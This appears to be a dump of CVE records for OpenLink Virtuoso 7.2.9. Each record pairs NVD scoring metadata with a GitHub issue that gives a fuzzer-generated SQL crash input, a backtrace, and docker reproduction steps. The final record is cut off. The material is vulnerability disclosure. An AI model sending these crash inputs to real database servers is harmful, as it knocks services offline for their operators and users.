CVE-2023-31619 | 2023-05-15T15:15:12.170 | An issue in the sch_name_to_object component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1133"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1133 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR);
CREATE VIEW t1 AS SELECT x, x FROM t1;
UPDATE t1 SET x = x + 100;
```
backtrace:
```c
#0 0x6080d1 (sch_name_to_object+0x11)
#1 0x7dcf6f (sqlc_update_searched+0x6f)
#2 0x817cd1 (sqlc_update_view+0xaa1)
#3 0x7ddad0 (sqlc_update_searched+0xbd0)
#4 0x817cd1 (sqlc_update_view+0xaa1)
#5 0x7ddad0 (sqlc_update_searched+0xbd0)
#6 0x817cd1 (sqlc_update_view+0xaa1)
#7 0x7ddad0 (sqlc_update_searched+0xbd0)
#8 0x817cd1 (sqlc_update_view+0xaa1)
#9 0x7ddad0 (sqlc_update_searched+0xbd0)
#10 0x817cd1 (sqlc_update_view+0xaa1)
...
#2546 0x817cd1 (sqlc_update_view+0xaa1)
#2547 0x7ddad0 (sqlc_update_searched+0xbd0)
#2548 0x817cd1 (sqlc_update_view+0xaa1)
#2549 0x7ddad0 (sqlc_update_searched+0xbd0)
#2550 0x817cd1 (sqlc_update_view+0xaa1)
#2551 0x7ddad0 (sqlc_update_searched+0xbd0)
#2552 0x6b7212 (sql_stmt_comp+0x812)
#2553 0x6ba122 (sql_compile_1+0x1a62)
#2554 0x7c8cd0 (stmt_set_query+0x340)
#2555 0x7cabc2 (sf_sql_execute+0x922)
#2556 0x7cbf4e (sf_sql_execute_w+0x17e)
#2557 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#2558 0xe1f01c (future_wrapper+0x3fc)
#2559 0xe2691e (_thread_boot+0x11e)
#2560 0x7f5b7a921609 (start_thread+0xd9)
#2561 0x7f5b7a6f1133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sch_name_to_object | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1133/comments | 1 | 2023-04-12T19:26:23Z | 2023-04-14T08:41:03Z | https://github.com/openlink/virtuoso-opensource/issues/1133 | 1,665,120,116 | 1,133 |
CVE-2023-31620 | 2023-05-15T15:15:12.237 | An issue in the dv_compare component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1128"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1128 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE element (
name VARCHAR(80),
test1 VARCHAR(80),
f1 VARCHAR(80),
f2 VARCHAR(80),
code INTEGER,
t1 VARCHAR(80),
a VARCHAR(80),
example VARCHAR(80),
b VARCHAR(80),
c VARCHAR(80),
folders VARCHAR(80)
);
INSERT INTO element(b,b) VALUES(38,1444);
SELECT (select ( -count(distinct case case code when b then c*case when b<=element.b+b then code when (abs(element.c)/abs(case when b-coalesce((select max(element.c-element.b) from element where not exists(select 1 from element where 17 in (b,13,(b)) or b in (b,c,element.b))),element.b) not in (b,((c)),element.b) then -19 when c between code and 13 then 19 else element.c end))=13 then c else 13 end else 17 end when 13 then element.c else element.b end-element.c)) from element) FROM element WHERE coalesce((select max(element.b) from element where element.c<>element.c-13),element.code)>=b or b*coalesce((select max((b)) from element where c not between +coalesce((select max(13) from element where b between -(abs(( -coalesce((select max(case c when element.c then b else -element.c end) from element where 11>b and element.b<element.b),element.c)))/abs(b)) and b),code) and element.b),element.b)* -19 not between (17) and element.c and (element.b<=code);
```
backtrace:
```c
#0 0x60afab (dv_compare+0x3b)
#1 0xc278fb (cmp_vec_any+0x24b)
#2 0xc28caa (cmp_vec+0x12ba)
#3 0x751b48 (code_vec_run_v+0x1368)
#4 0x7ac72d (qn_send_output+0xbd)
#5 0x7ac43e (qn_input+0x3ce)
#6 0x7ac8a6 (qn_send_output+0x236)
#7 0x81e26d (set_ctr_vec_input+0x94d)
#8 0x7ac43e (qn_input+0x3ce)
#9 0x74f268 (subq_next+0x258)
#10 0x81cfa2 (ins_vec_subq+0x2a2)
#11 0x75119b (code_vec_run_v+0x9bb)
#12 0x7b5a9b (end_node_input+0x13b)
#13 0x7ac43e (qn_input+0x3ce)
#14 0x7acb6f (qn_ts_send_output+0x23f)
#15 0x7b247e (table_source_input+0x16ee)
#16 0x7ac43e (qn_input+0x3ce)
#17 0x7b9c3b (fun_ref_node_input+0x36b)
#18 0x7ac43e (qn_input+0x3ce)
#19 0x7ac8a6 (qn_send_output+0x236)
#20 0x81e26d (set_ctr_vec_input+0x94d)
#21 0x7ac43e (qn_input+0x3ce)
#22 0x74f268 (subq_next+0x258)
#23 0x81cfa2 (ins_vec_subq+0x2a2)
#24 0x75119b (code_vec_run_v+0x9bb)
#25 0x7b5a9b (end_node_input+0x13b)
#26 0x7ac43e (qn_input+0x3ce)
#27 0x7acb6f (qn_ts_send_output+0x23f)
#28 0x7b247e (table_source_input+0x16ee)
#29 0x7ac43e (qn_input+0x3ce)
#30 0x7b9c3b (fun_ref_node_input+0x36b)
#31 0x7ac43e (qn_input+0x3ce)
#32 0x7ac8a6 (qn_send_output+0x236)
#33 0x81e26d (set_ctr_vec_input+0x94d)
#34 0x7ac43e (qn_input+0x3ce)
#35 0x74f268 (subq_next+0x258)
#36 0x81cfa2 (ins_vec_subq+0x2a2)
#37 0x75119b (code_vec_run_v+0x9bb)
#38 0x7b5a9b (end_node_input+0x13b)
#39 0x7ac43e (qn_input+0x3ce)
#40 0x7acb6f (qn_ts_send_output+0x23f)
#41 0x7b247e (table_source_input+0x16ee)
#42 0x7ac43e (qn_input+0x3ce)
#43 0x7ac8a6 (qn_send_output+0x236)
#44 0x81e26d (set_ctr_vec_input+0x94d)
#45 0x7ac43e (qn_input+0x3ce)
#46 0x7bdc6e (qr_exec+0x11ee)
#47 0x7cb446 (sf_sql_execute+0x11a6)
#48 0x7cbf4e (sf_sql_execute_w+0x17e)
#49 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#50 0xe1f01c (future_wrapper+0x3fc)
#51 0xe2691e (_thread_boot+0x11e)
#52 0x7f731e31d609 (start_thread+0xd9)
#53 0x7f731e0ed133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at dv_compare | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1128/comments | 0 | 2023-04-12T19:03:51Z | 2023-04-17T18:53:42Z | https://github.com/openlink/virtuoso-opensource/issues/1128 | 1,665,092,932 | 1,128 |
CVE-2023-31621 | 2023-05-15T15:15:12.300 | An issue in the kc_var_col component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1130"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1130 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE brin_test(a INTEGER NOT NULL);
INSERT INTO brin_test (a) VALUES(5);
INSERT INTO brin_test (a) VALUES(5);
ALTER TABLE brin_test ADD c1 VARCHAR(20) NOT NULL ;
UPDATE brin_test SET a = a + 1 WHERE a = 5;
```
backtrace:
```c
#0 0x5cfed5 (kc_var_col+0x155)
#1 0x5f6cb6 (page_copy_col+0x666)
#2 0x5d6e62 (page_row_bm+0x782)
#3 0x5db6b0 (page_apply_1+0xb90)
#4 0x5dd8d9 (page_apply+0x119)
#5 0x86b517 (upd_refit_row+0x127)
#6 0x86ce54 (update_node_run_1+0xdf4)
#7 0x821736 (update_node_vec_run+0x836)
#8 0x86eaf2 (update_node_input+0x2b2)
#9 0x7ac43e (qn_input+0x3ce)
#10 0x7acb6f (qn_ts_send_output+0x23f)
#11 0x7b247e (table_source_input+0x16ee)
#12 0x7ac43e (qn_input+0x3ce)
#13 0x7ac8a6 (qn_send_output+0x236)
#14 0x81e26d (set_ctr_vec_input+0x94d)
#15 0x7ac43e (qn_input+0x3ce)
#16 0x7bee59 (qr_dml_array_exec+0x839)
#17 0x7cb872 (sf_sql_execute+0x15d2)
#18 0x7cbf4e (sf_sql_execute_w+0x17e)
#19 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#20 0xe1f01c (future_wrapper+0x3fc)
#21 0xe2691e (_thread_boot+0x11e)
#22 0x7f2e9644f609 (start_thread+0xd9)
#23 0x7f2e9621f133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at kc_var_col | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1130/comments | 0 | 2023-04-12T19:18:19Z | 2023-04-14T12:55:17Z | https://github.com/openlink/virtuoso-opensource/issues/1130 | 1,665,110,745 | 1,130 |
CVE-2023-31622 | 2023-05-15T15:15:12.347 | An issue in the sqlc_make_policy_trig component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1135"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1135 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
DELETE FROM ucview WHERE CURRENT OF c1;
```
backtrace:
```c
#0 0x7d8904 (sqlc_make_policy_trig+0x54)
#1 0x7ddf99 (sqlc_delete_pos+0x2e9)
#2 0x6b6e53 (sql_stmt_comp+0x453)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x7c8cd0 (stmt_set_query+0x340)
#5 0x7cabc2 (sf_sql_execute+0x922)
#6 0x7cbf4e (sf_sql_execute_w+0x17e)
#7 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#8 0xe1f01c (future_wrapper+0x3fc)
#9 0xe2691e (_thread_boot+0x11e)
#10 0x7faabf70f609 (start_thread+0xd9)
#11 0x7faabf4df133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sqlc_make_policy_trig | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1135/comments | 0 | 2023-04-12T19:32:30Z | 2023-04-14T08:12:14Z | https://github.com/openlink/virtuoso-opensource/issues/1135 | 1,665,127,014 | 1,135 |
CVE-2023-31623 | 2023-05-15T15:15:12.390 | An issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1131"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1131 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(
x INTEGER PRIMARY KEY,
k VARCHAR
);
CREATE VIEW t1 AS SELECT k, k FROM t1;
UPDATE t1 SET k = k-1 WHERE k > 100 AND x = 128;
```
backtrace:
```c
#0 0xe086e9 (mp_box_copy+0x9)
#1 0xe08dd0 (mp_box_copy_tree+0xc0)
#2 0x815b3a (sqlc_col_to_view_scope+0x4fa)
#3 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#4 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#5 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#6 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#7 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#8 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#9 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#10 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#11 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#12 0x815ee2 (sqlc_exp_to_view_scope+0x162)
...
#1045 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#1046 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#1047 0x815ee2 (sqlc_exp_to_view_scope+0x162)
#1048 0x817c90 (sqlc_update_view+0xa60)
#1049 0x7ddad0 (sqlc_update_searched+0xbd0)
#1050 0x817cd1 (sqlc_update_view+0xaa1)
#1051 0x7ddad0 (sqlc_update_searched+0xbd0)
#1052 0x817cd1 (sqlc_update_view+0xaa1)
#1053 0x7ddad0 (sqlc_update_searched+0xbd0)
#1054 0x817cd1 (sqlc_update_view+0xaa1)
#1055 0x7ddad0 (sqlc_update_searched+0xbd0)
#1056 0x817cd1 (sqlc_update_view+0xaa1)
...
#3132 0x817cd1 (sqlc_update_view+0xaa1)
#3133 0x7ddad0 (sqlc_update_searched+0xbd0)
#3134 0x817cd1 (sqlc_update_view+0xaa1)
#3135 0x7ddad0 (sqlc_update_searched+0xbd0)
#3136 0x6b7212 (sql_stmt_comp+0x812)
#3137 0x6ba122 (sql_compile_1+0x1a62)
#3138 0x7c8cd0 (stmt_set_query+0x340)
#3139 0x7cabc2 (sf_sql_execute+0x922)
#3140 0x7cbf4e (sf_sql_execute_w+0x17e)
#3141 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#3142 0xe1f01c (future_wrapper+0x3fc)
#3143 0xe2691e (_thread_boot+0x11e)
#3144 0x7f2025e0d609 (start_thread+0xd9)
#3145 0x7f2025bdd133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at mp_box_copy | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1131/comments | 1 | 2023-04-12T19:21:09Z | 2023-04-14T08:41:41Z | https://github.com/openlink/virtuoso-opensource/issues/1131 | 1,665,114,015 | 1,131 |
CVE-2023-31624 | 2023-05-15T15:15:12.437 | An issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1134"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1134 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE base_tbl (a int, b int);
CREATE VIEW rw_view1 AS SELECT * FROM base_tbl;
INSERT INTO rw_view1 VALUES (15);
```
backtrace:
```c
#0 0x788dc0 (sinv_check_exp+0x120)
#1 0x78a03d (sinv_sqlo_check_col_val+0xad)
#2 0x816d50 (sqlc_insert_view+0x330)
#3 0x6b7387 (sql_stmt_comp+0x987)
#4 0x6ba122 (sql_compile_1+0x1a62)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7fbc8904b609 (start_thread+0xd9)
#12 0x7fbc88e1b133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sinv_check_exp | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1134/comments | 0 | 2023-04-12T19:29:32Z | 2023-04-14T08:12:14Z | https://github.com/openlink/virtuoso-opensource/issues/1134 | 1,665,123,657 | 1,134 |
CVE-2023-31625 | 2023-05-15T15:15:12.487 | An issue in the psiginfo component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1132"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1132 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (
x LONG VARCHAR,
a INTEGER DEFAULT 0,
b LONG VARCHAR,
t2 LONG VARCHAR
);
CREATE VIEW t1 AS SELECT * FROM t1;
INSERT INTO t1(t2, x, x) VALUES('one-toasted,one-null', '', repeat('1234567890',50000));
```
backtrace:
```c
#0 0x7f421a573900 (psiginfo+0x134a0)
#1 0x7f421a588f9a (vscanf+0x14a)
#2 0x7f421a55edf6 (__snprintf+0x96)
#3 0x5a2227 (sch_full_proc_name_1+0x2c7)
#4 0x7879a3 (sinv_find_func_map+0x143)
#5 0x788fb7 (sinv_check_exp+0x317)
#6 0x78a03d (sinv_sqlo_check_col_val+0xad)
#7 0x816d50 (sqlc_insert_view+0x330)
#8 0x81721d (sqlc_insert_view+0x7fd)
#9 0x81721d (sqlc_insert_view+0x7fd)
#10 0x81721d (sqlc_insert_view+0x7fd)
#11 0x81721d (sqlc_insert_view+0x7fd)
#12 0x81721d (sqlc_insert_view+0x7fd)
#13 0x81721d (sqlc_insert_view+0x7fd)
...
#5714 0x81721d (sqlc_insert_view+0x7fd)
#5715 0x81721d (sqlc_insert_view+0x7fd)
#5716 0x81721d (sqlc_insert_view+0x7fd)
#5717 0x6b7387 (sql_stmt_comp+0x987)
#5718 0x6ba122 (sql_compile_1+0x1a62)
#5719 0x7c8cd0 (stmt_set_query+0x340)
#5720 0x7cabc2 (sf_sql_execute+0x922)
#5721 0x7cbf4e (sf_sql_execute_w+0x17e)
#5722 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#5723 0xe1f01c (future_wrapper+0x3fc)
#5724 0xe2691e (_thread_boot+0x11e)
#5725 0x7f421a84c609 (start_thread+0xd9)
#5726 0x7f421a61c133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at psiginfo (maybe the same as #1118) | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1132/comments | 1 | 2023-04-12T19:23:55Z | 2023-04-14T08:20:16Z | https://github.com/openlink/virtuoso-opensource/issues/1132 | 1,665,117,118 | 1,132 |
CVE-2023-31626 | 2023-05-15T15:15:12.540 | An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1129"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
